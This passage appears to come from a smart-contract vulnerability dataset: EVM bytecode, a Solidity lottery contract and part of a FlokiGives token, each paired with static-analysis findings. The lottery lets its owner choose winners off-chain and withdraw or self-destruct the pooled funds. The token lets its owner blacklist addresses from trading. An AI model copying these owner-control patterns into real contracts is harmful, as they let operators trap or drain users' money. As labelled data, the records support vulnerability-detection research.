f169060200190929190505050610e19565b005b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106ca5780601f1061069f576101008083540402835291602001916106ca565b820191906000526020600020905b8154815290600101906020018083116106ad57829003601f168201915b505050505081565b6000811415801561076057506000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b1561076a57600080fd5b80600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35050565b60065481565b600260149054906101000a900460ff161561087457600080fd5b61087f838383610ef0565b505050565b600560009054906101000a900460ff1681565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108f557600080fd5b600260149054906101000a900460ff16151561091057600080fd5b6000600260146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a16001905090565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109ba57600080fd5b600260149054906101000a900460ff16156109d457600080fd5b6109de33826111e2565b50565b600260149054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a9a57600080fd5b600260149054906101000a900460ff1615610ab457600080fd5b6001600260146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a16001905090565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610bbe5780601f10610b9357610100808354040283529160200191610bbe565b820191906000526020600020905b815481529060010190602001808311610ba157829003601f168201915b505050505081565b600260149054906101000a900460ff1615610be057600080fd5b610bea8282611395565b5050565b600080600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c4d57600080fd5b600260149054906101000a900460ff1615610c6757600080fd5b60008573ffffffffffffffffffffffffffffffffffffffff1614151515610c8d57600080fd5b308584610c986115c1565b808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050604051809103906000f080158015610d24573d6000803e3d6000fd5b509050610d318185610bc6565b8473ffffffffffffffffffffffffffffffffffffffff167f1e9485fd0bd679716375520cad7dadd2beb8f80d23e81293182eabdc94d1812d8585604051808381526020018281526020019250505060405180910390a2809150509392505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e7557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515610eed5780600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b60006060610f0860048261157190919063ffffffff16565b60003690501015610f1857600080fd5b60008473ffffffffffffffffffffffffffffffffffffffff1614151515610f3e57600080fd5b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054915061100e836000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461157190919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110a1836000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461159990919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110f6838361159990919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35050505050565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115151561122f57600080fd5b611280816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461159990919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112d78160065461159990919063ffffffff16565b6006819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b60406113ab60048261157190919063ffffffff16565b600036905010156113bb57600080fd5b60008373ffffffffffffffffffffffffffffffffffffffff16141515156113e157600080fd5b611432826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461159990919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114c5826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461157190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3505050565b6000818301905061159083821015801561158b5750828210155b6115b2565b80905092915050565b60006115a7838311156115b2565b818303905092915050565b8015156115be57600080fd5b50565b6040516103f0806115d2833901905600608060405234801561001057600080fd5b506040516060806103f0833981018060405281019080805190602001909291908051906020019092919080519060200190929190505050428111151561005557600080fd5b826000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600281905550505050610301806100ef6000396000f300608060405260043610610041576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680634e71d92d14610046575b600080fd5b34801561005257600080fd5b5061005b61005d565b005b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156100bb57600080fd5b60025442101515156100cc57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561018857600080fd5b505af115801561019c573d6000803e3d6000fd5b505050506040513d60208110156101b257600080fd5b810190808051906020019092919050505090506000811115156101d457600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b1580156102ba57600080fd5b505af11580156102ce573d6000803e3d6000fd5b50505050505600a165627a7a72305820da0c7c5cb53a5c131354f2f58c52a3317d9582f75add33b11b1f15a55d09bd3d0029a165627a7a723058204ac7b78ae5ad82ad5152ee4ee638c32d73eb62da390b0168789c6d0d561cfde90029
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
8,534
0xad0528aa8ffefb94a22c24720a431822591c1d38
pragma solidity 0.4.24; contract Owned { address public owner; constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); owner = newOwner; } } contract SafeMath { function multiplication(uint a, uint b) internal pure returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function division(uint a, uint b) internal pure returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function subtraction(uint a, uint b) internal pure returns (uint) { assert(b <= a); return a - b; } function addition(uint a, uint b) internal pure returns (uint) { uint c = a + b; assert(c >= a); return c; } } contract LottoEvents { event BuyTicket(uint indexed _gameIndex, address indexed from, bytes numbers, uint _prizePool, uint _bonusPool); event LockRound(uint indexed _gameIndex, uint _state, uint indexed _blockIndex); event DrawRound(uint indexed _gameIndex, uint _state, uint indexed _blockIndex, string _blockHash, uint[] _winNumbers); event EndRound(uint indexed _gameIndex, uint _state, uint _jackpot, uint _bonusAvg, address[] _jackpotWinners, address[] _goldKeyWinners, bool _autoStartNext); event NewRound(uint indexed _gameIndex, uint _state, uint _initPrizeIn); event DumpPrize(uint indexed _gameIndex, uint _jackpot); event Transfer(uint indexed _gameIndex, uint value); event Activated(uint indexed _gameIndex); event Deactivated(uint indexed _gameIndex); event SelfDestroy(uint indexed _gameIndex); } library LottoModels { // data struct hold each ticket info struct Ticket { uint rId; // round identity address player; // the buyer uint btime; // buy time uint[] numbers; // buy numbers, idx 0,1,2,3,4 are red balls, idx 5 are blue balls bool joinBonus; // join bonus ? bool useGoldKey; // use gold key ? } // if round ended, each state is freeze, just for view struct Round { uint rId; // current id uint stime; // start time uint etime; // end time uint8 state; // 0: live, 1: locked, 2: drawed, 7: ended uint[] winNumbers; // idx 0,1,2,3,4 are red balls, idx 5 are blue balls address[] winners; // the winner's addresses uint ethIn; // how much eth in this Round uint prizePool; // how much eth in prize pool, 40% of ethIn add init prize in uint bonusPool; // how much eth in bonus pool, 40% of ethIn uint teamFee; // how much eth to team, 20% of ethIn uint btcBlockNoWhenLock; // the btc block no when lock this round uint btcBlockNo; // use for get win numbers, must higer than btcBlockNoWhenLock; string btcBlockHash; // use for get win numbers uint bonusAvg; // average bouns price for players uint jackpot; // the jackpot to pay uint genGoldKeys; // how many gold key gens } } contract Lottery is Owned, SafeMath, LottoEvents { string constant version = "1.0.1"; uint constant private GOLD_KEY_CAP = 1500 ether; uint constant private BUY_LIMIT_CAP = 100; uint8 constant private ROUND_STATE_LIVE = 0; uint8 constant private ROUND_STATE_LOCKED = 1; uint8 constant private ROUND_STATE_DRAWED = 2; uint8 constant private ROUND_STATE_ENDED = 7; mapping (uint => LottoModels.Round) public rounds; // all rounds, rid -> round mapping (uint => LottoModels.Ticket[]) public tickets; // all tickets, rid -> ticket array mapping (address => uint) public goldKeyRepo; // all gold key repo, keeper address -> key count address[] private goldKeyKeepers; // all gold key keepers, just for clear mapping?! uint public goldKeyCounter = 0; // count for gold keys uint public unIssuedGoldKeys = 0; // un issued gold keys uint public price = 0.03 ether; // the price for each bet bool public activated = false; // contract live? uint public rId; // current round id constructor() public { rId = 0; activated = true; internalNewRound(0, 0); // init with prize 0, bonus 0 } // buy ticket // WARNING!!!solidity only allow 16 local variables function() isHuman() isActivated() public payable { require(owner != msg.sender, "owner cannot buy."); require(address(this) != msg.sender, "contract cannot buy."); require(rounds[rId].state == ROUND_STATE_LIVE, "this round not start yet, please wait."); // data format check require(msg.data.length > 9, "data struct not valid"); require(msg.data.length % 9 == 1, "data struct not valid"); // price check require(uint(msg.data[0]) < BUY_LIMIT_CAP, "out of buy limit one time."); require(msg.value == uint(msg.data[0]) * price, "price not right, please check."); uint i = 1; while(i < msg.data.length) { // fill data // [0]: how many // [1]: how many gold key use? // [2]: join bonus? // [3-7]: red balls, [8]: blue ball uint _times = uint(msg.data[i++]); uint _goldKeys = uint(msg.data[i++]); bool _joinBonus = uint(msg.data[i++]) > 0; uint[] memory _numbers = new uint[](6); for(uint j = 0; j < 6; j++) { _numbers[j] = uint(msg.data[i++]); } // every ticket for (uint k = 0; k < _times; k++) { bool _useGoldKey = false; if (_goldKeys > 0 && goldKeyRepo[msg.sender] > 0) { // can use gold key? _goldKeys--; // reduce you keys you want goldKeyRepo[msg.sender]--; // reduce you keys in repo _useGoldKey = true; } tickets[rId].push(LottoModels.Ticket(rId, msg.sender, now, _numbers, _joinBonus, _useGoldKey)); } } // update round data rounds[rId].ethIn = addition(rounds[rId].ethIn, msg.value); uint _amount = msg.value * 4 / 10; rounds[rId].prizePool = addition(rounds[rId].prizePool, _amount); // 40% for prize rounds[rId].bonusPool = addition(rounds[rId].bonusPool, _amount); // 40% for bonus rounds[rId].teamFee = addition(rounds[rId].teamFee, division(_amount, 2)); // 20% for team // check gen gold key? internalIncreaseGoldKeyCounter(_amount); emit BuyTicket(rId, msg.sender, msg.data, rounds[rId].prizePool, rounds[rId].bonusPool); } // core logic // // 1. lock the round, can't buy this round // 2. on-chain calc win numbuers // 3. off-chain calc jackpot, jackpot winners, goldkey winners, average bonus, blue number hits not share bonus. // if compute on-chain, out of gas // 4. end this round // 1. lock the round, can't buy this round function lockRound(uint btcBlockNo) isActivated() onlyOwner() public { require(rounds[rId].state == ROUND_STATE_LIVE, "this round not live yet, no need lock"); rounds[rId].btcBlockNoWhenLock = btcBlockNo; rounds[rId].state = ROUND_STATE_LOCKED; emit LockRound(rId, ROUND_STATE_LOCKED, btcBlockNo); } // 2. on-chain calc win numbuers function drawRound( uint btcBlockNo, string btcBlockHash ) isActivated() onlyOwner() public { require(rounds[rId].state == ROUND_STATE_LOCKED, "this round not locked yet, please lock it first"); require(rounds[rId].btcBlockNoWhenLock < btcBlockNo, "the btc block no should higher than the btc block no when lock this round"); // calculate winner rounds[rId].winNumbers = calcWinNumbers(btcBlockHash); rounds[rId].btcBlockHash = btcBlockHash; rounds[rId].btcBlockNo = btcBlockNo; rounds[rId].state = ROUND_STATE_DRAWED; emit DrawRound(rId, ROUND_STATE_DRAWED, btcBlockNo, btcBlockHash, rounds[rId].winNumbers); } // 3. off-chain calc // 4. end this round function endRound( uint jackpot, uint bonusAvg, address[] jackpotWinners, address[] goldKeyWinners, bool autoStartNext ) isActivated() onlyOwner() public { require(rounds[rId].state == ROUND_STATE_DRAWED, "this round not drawed yet, please draw it first"); // end this round rounds[rId].state = ROUND_STATE_ENDED; rounds[rId].etime = now; rounds[rId].jackpot = jackpot; rounds[rId].bonusAvg = bonusAvg; rounds[rId].winners = jackpotWinners; // if jackpot is this contract addr or owner addr, delete it // if have winners, all keys will gone. if (jackpotWinners.length > 0 && jackpot > 0) { unIssuedGoldKeys = 0; // clear un issued gold keys // clear players gold key // no direct delete mapping in solidity // we give an array to store gold key keepers // clearing mapping from key keepers // delete keepers for (uint i = 0; i < goldKeyKeepers.length; i++) { goldKeyRepo[goldKeyKeepers[i]] = 0; } delete goldKeyKeepers; } else { // else reward gold keys if (unIssuedGoldKeys > 0) { for (uint k = 0; k < goldKeyWinners.length; k++) { // update repo address _winner = goldKeyWinners[k]; // except this address if (_winner == address(this)) { continue; } goldKeyRepo[_winner]++; // update keepers bool _hasKeeper = false; for (uint j = 0; j < goldKeyKeepers.length; j++) { if (goldKeyKeepers[j] == _winner) { _hasKeeper = true; break; } } if (!_hasKeeper) { // no keeper? push it in. goldKeyKeepers.push(_winner); } unIssuedGoldKeys--; if (unIssuedGoldKeys <= 0) { // no more gold keys, let's break; break; } } } // move this round gen gold key to un issued gold keys unIssuedGoldKeys = addition(unIssuedGoldKeys, rounds[rId].genGoldKeys); } emit EndRound(rId, ROUND_STATE_ENDED, jackpot, bonusAvg, jackpotWinners, goldKeyWinners, autoStartNext); // round ended // start next? if (autoStartNext) { newRound(); } } function newRound() isActivated() onlyOwner() public { // check this round is ended? require(rounds[rId].state == ROUND_STATE_ENDED, "this round not ended yet, please end it first"); // lets start next round // calculate prize to move, (prize pool - jackpot to pay) uint _initPrizeIn = subtraction(rounds[rId].prizePool, rounds[rId].jackpot); // move bonus pool, if no one share bonus(maybe) uint _initBonusIn = rounds[rId].bonusPool; if (rounds[rId].bonusAvg > 0) { // if someone share bonus, bonusAvg > 0, move 0 _initBonusIn = 0; } // move to new round internalNewRound(_initPrizeIn, _initBonusIn); emit NewRound(rId, ROUND_STATE_LIVE, _initPrizeIn); } function internalNewRound(uint _initPrizeIn, uint _initBonusIn) internal { rId++; rounds[rId].rId = rId; rounds[rId].stime = now; rounds[rId].state = ROUND_STATE_LIVE; rounds[rId].prizePool = _initPrizeIn; rounds[rId].bonusPool = _initBonusIn; } function internalIncreaseGoldKeyCounter(uint _amount) internal { goldKeyCounter = addition(goldKeyCounter, _amount); if (goldKeyCounter >= GOLD_KEY_CAP) { rounds[rId].genGoldKeys = addition(rounds[rId].genGoldKeys, 1); goldKeyCounter = subtraction(goldKeyCounter, GOLD_KEY_CAP); } } // utils function calcWinNumbers(string blockHash) public pure returns (uint[]) { bytes32 random = keccak256(bytes(blockHash)); uint[] memory allRedNumbers = new uint[](40); uint[] memory allBlueNumbers = new uint[](10); uint[] memory winNumbers = new uint[](6); for (uint i = 0; i < 40; i++) { allRedNumbers[i] = i + 1; if(i < 10) { allBlueNumbers[i] = i; } } for (i = 0; i < 5; i++) { uint n = 40 - i; uint r = (uint(random[i * 4]) + (uint(random[i * 4 + 1]) << 8) + (uint(random[i * 4 + 2]) << 16) + (uint(random[i * 4 + 3]) << 24)) % (n + 1); winNumbers[i] = allRedNumbers[r]; allRedNumbers[r] = allRedNumbers[n - 1]; } uint t = (uint(random[i * 4]) + (uint(random[i * 4 + 1]) << 8) + (uint(random[i * 4 + 2]) << 16) + (uint(random[i * 4 + 3]) << 24)) % 10; winNumbers[5] = allBlueNumbers[t]; return winNumbers; } // for views function getKeys() public view returns(uint) { return goldKeyRepo[msg.sender]; } function getRoundByRId(uint _rId) public view returns (uint[] res){ if(_rId > rId) return res; res = new uint[](18); uint k; res[k++] = _rId; res[k++] = uint(rounds[_rId].state); res[k++] = rounds[_rId].ethIn; res[k++] = rounds[_rId].prizePool; res[k++] = rounds[_rId].bonusPool; res[k++] = rounds[_rId].teamFee; if (rounds[_rId].winNumbers.length == 0) { for (uint j = 0; j < 6; j++) res[k++] = 0; } else { for (j = 0; j < 6; j++) res[k++] = rounds[_rId].winNumbers[j]; } res[k++] = rounds[_rId].bonusAvg; res[k++] = rounds[_rId].jackpot; res[k++] = rounds[_rId].genGoldKeys; res[k++] = rounds[_rId].btcBlockNo; res[k++] = rounds[_rId].stime; res[k++] = rounds[_rId].etime; } // --- danger ops --- // angel send luck for players function dumpPrize() isActivated() onlyOwner() public payable { require(rounds[rId].state == ROUND_STATE_LIVE, "this round not live yet."); rounds[rId].ethIn = addition(rounds[rId].ethIn, msg.value); rounds[rId].prizePool = addition(rounds[rId].prizePool, msg.value); // check gen gold key? internalIncreaseGoldKeyCounter(msg.value); emit DumpPrize(rId, msg.value); } function activate() public onlyOwner { activated = true; emit Activated(rId); } function deactivate() public onlyOwner { activated = false; emit Deactivated(rId); } function selfDestroy() public onlyOwner { selfdestruct(msg.sender); emit SelfDestroy(rId); } function transferToOwner(uint amount) public payable onlyOwner { msg.sender.transfer(amount); emit Transfer(rId, amount); } // --- danger ops end --- // modifiers modifier isActivated() { require(activated == true, "its not ready yet."); _; } modifier isHuman() { address _addr = msg.sender; require (_addr == tx.origin); uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, "sorry humans only"); _; } }
0x
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
8,535
0x599e7233695f0858f7e3561d120c2d2f9aaf0412
/** *Submitted for verification at Etherscan.io on 2021-06-27 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract FlokiGives is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "FlokiGives"; string private constant _symbol = "FlOKIGIVES"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 20; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 20; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 2500000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function 